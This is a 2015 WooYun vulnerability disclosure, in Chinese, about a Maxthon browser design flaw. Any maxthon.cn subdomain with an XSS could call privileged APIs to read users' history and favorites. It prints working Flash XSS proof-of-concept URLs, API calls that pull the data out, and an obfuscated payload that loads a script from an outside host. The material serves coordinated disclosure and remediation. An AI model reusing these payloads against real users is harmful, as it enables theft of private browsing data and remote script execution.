当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113401

漏洞标题：傲游浏览器设计缺陷可导致读取用户收藏/历史记录等敏感信息

相关厂商：傲游

漏洞作者： 梧桐雨

提交时间：2015-05-11 14:03

修复时间：2015-08-09 15:48

公开时间：2015-08-09 15:48

漏洞类型：远程代码执行

危害等级：高

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-11： 细节已通知厂商并且等待厂商处理中
2015-05-11： 厂商已经确认，细节仅向厂商公开
2015-07-05： 细节向核心白帽子及相关领域专家公开
2015-07-15： 细节向普通白帽子公开
2015-07-25： 细节向实习白帽子公开
2015-08-09： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

设计缺陷导致的一系列问题

详细说明：

傲游浏览器设计之初考虑到用户体验，允许*.maxthon.cn域调用一些特权api，
譬如修改首页：
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.startpage", "http://wooyun.org");
任意一个*.maxthon.cn 都可以调用上面的api。
除此之外还能通过external.mxCall 安装插件。
但是仅仅如此吗？事实上，我发现除了i.maxthon.cn 能读取历史记录，任意一个*.maxthon.cn都能读取。只要找到对应的xss，就能获取该信息。
当然此处绝对不仅仅是历史记录，还有收藏。这里我给出两个poc的demo，希望傲游浏览器在未来的版本考虑API权限的时候做一些考量，避免任意一个*.maxthon.cn的xss就能读取用户的收藏+历史记录等敏感信息。

漏洞证明：

xss两处，均为flash xss，因为该原因，也不会被浏览器拦截：
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};//

1.jpg


http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};//

2.jpg


读取历史记录poc：

321.jpg


http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(JSON.stringify(maxthon.browser.history.HistoryManager.getLastOpenList()));}};//
读取用户收藏poc：
for(var i=0;i<maxthon.browser.favorites.FavManager.getMostVisitNodes().length;i++){
console.log(maxthon.browser.favorites.FavManager.getMostVisitNodes()[i].url_)
}
具体演示url链接：
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,109,97,120,116,104,111,110,46,106,115);document.body.appendChild(window.s)')}};//
效果如下：

js.jpg


pic.jpg


55.jpg

修复方案：

修复此处xss。可以采用 http://bbs.open.qq.com/static/image/common/swfupload.swf 此处的swf替换为你们的swf，即可修补xss。
调整策略，避免任意一个子站xss影响到用户收藏夹以及历史记录等敏感信息。

版权声明：转载请注明来源 梧桐雨@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-11 15:46

厂商回复：

多谢报告.

最新状态：

2015-05-12：XSS 已修复

2015-05-12：XSS 已修复

漏洞评价：

评论

  1. 2015-05-11 18:32 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

    浏览器系列啊

  2. 2015-05-12 09:13 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    浏览器系列啊

  3. 2015-05-12 11:35 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    你确定修复了？有一个还在。仔细看。你们做事好不认真啊。